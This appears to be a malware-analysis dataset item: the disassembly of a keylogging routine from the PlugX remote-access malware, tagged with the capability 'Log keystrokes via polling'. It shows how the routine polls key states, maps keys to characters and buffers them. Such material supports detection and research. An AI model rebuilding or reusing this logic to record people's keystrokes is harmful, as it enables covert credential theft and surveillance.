Function at 0x10010a20
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
mov bx, cx
mov eax, 8
cmp ax, bx
jne 0x10010a45
mov eax, dword [0x1002d3f8]
test eax, eax
jle 0x10010d72
dec eax
mov dword [0x1002d3f8], eax
xor eax, eax
pop ebx
ret
mov ecx, 9
cmp cx, bx
je 0x10010bff
mov ecx, 0xd
cmp cx, bx
jne 0x10010a79
mov eax, dword [0x1002d3f8]
pop ebx
mov dword [eax*2 + 0x1002f400], 0xa000d
add eax, 2
mov dword [0x1002d3f8], eax
xor eax, eax
ret
mov ecx, 0x20
cmp cx, bx
je 0x10010bff
mov eax, 0x30
cmp ax, bx
ja 0x10010b34
cmp bx, 0x39
ja 0x10010b34
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x10010ba9
movzx eax, bx
add eax, 0xffffffd0
cmp eax, 9
ja case.default.0x10010abb
jmp dword [eax*4 + 0x10010d78]
mov ecx, 0x29
jmp 0x10010bff
mov ecx, 0x21
jmp 0x10010bff
mov ecx, 0x40
jmp 0x10010bff
mov ecx, 0x23
jmp 0x10010bff
mov ecx, 0x24
jmp 0x10010bff
mov ecx, 0x25
jmp 0x10010bff
mov ecx, 0x5e
jmp 0x10010bff
mov ecx, 0x26
jmp 0x10010bff
mov ecx, 0x28
jmp 0x10010bff
push 0
mov edx, 0x242
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugKeyLogger.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop ebx
ret
mov eax, 0x41
cmp ax, bx
ja 0x10010b82
cmp bx, 0x5a
ja 0x10010b82
push esi
push 0x14
call dword [sym.imp.USER32.dll_GetKeyState]
push 0x10
movzx esi, ax
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, dword [0x1002d3f8]
sar ax, 0xf
cmp ax, si
pop esi
jne 0x10010b6b
or bl, 0x20
movsx ax, bl
pop ebx
mov word [ecx*2 + 0x1002f400], ax
inc ecx
mov dword [0x1002d3f8], ecx
xor eax, eax
ret
mov eax, 0x60
cmp ax, bx
ja 0x10010bb2
cmp bx, 0x69
ja 0x10010bb2
push 0x90
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
je 0x10010d72
sub bl, 0x30
movsx ax, bl
jmp 0x10010d5d
mov eax, 0x6a
cmp ax, bx
jne 0x10010bc3
mov ecx, 0x2a
jmp 0x10010bff
mov eax, 0x6b
cmp ax, bx
jne 0x10010bd2
lea ecx, [eax - 0x40]
jmp 0x10010bff
mov eax, 0x6d
cmp ax, bx
jne 0x10010be1
lea ecx, [eax - 0x40]
jmp 0x10010bff
mov eax, 0x6f
cmp ax, bx
jne 0x10010bf0
lea ecx, [eax - 0x40]
jmp 0x10010bff
mov eax, 0x6e
cmp ax, bx
jne 0x10010c16
mov ecx, 0x2e
mov eax, dword [0x1002d3f8]
pop ebx
mov word [eax*2 + 0x1002f400], cx
inc eax
mov dword [0x1002d3f8], eax
xor eax, eax
ret
mov eax, 0xba
cmp ax, bx
jne 0x10010c38
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
not eax
and eax, 1
or eax, 0x3a
jmp 0x10010d5d
mov eax, 0xbb
cmp ax, bx
jne 0x10010c62
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
sar ax, 0xf
mov ecx, 0xffee
and ax, cx
add ax, 0x3d
movzx eax, ax
jmp 0x10010d5d
mov eax, 0xbc
cmp ax, bx
jne 0x10010c82
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xb
and eax, 0x10
or eax, 0x2c
jmp 0x10010d5d
mov eax, 0xbd
cmp ax, bx
jne 0x10010ca8
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
sar ax, 0xf
and ax, 0x32
add ax, 0x2d
movzx eax, ax
jmp 0x10010d5d
mov eax, 0xbe
cmp ax, bx
jne 0x10010cc8
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xb
and eax, 0x10
or eax, 0x2e
jmp 0x10010d5d
mov eax, 0xbf
cmp ax, bx
jne 0x10010ce5
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xb
and eax, 0x10
or eax, 0x2f
jmp 0x10010d5d
mov eax, 0xc0
cmp ax, bx
jne 0x10010d08
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
sar ax, 0xf
and ax, 0x1e
add ax, 0x60
movzx eax, ax
jmp 0x10010d5d
mov eax, 0xdb
cmp ax, bx
jne 0x10010d25
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xa
and eax, 0x20
or eax, 0x5b
jmp 0x10010d5d
mov eax, 0xdc
cmp ax, bx
jne 0x10010d42
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xa
and eax, 0x20
or eax, 0x5c
jmp 0x10010d5d
mov eax, 0xdd
cmp ax, bx
jne 0x10010d72
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xa
and eax, 0x20
or eax, 0x5d
mov ecx, dword [0x1002d3f8]
mov word [ecx*2 + 0x1002f400], ax
inc ecx
mov dword [0x1002d3f8], ecx
xor eax, eax
pop ebx
ret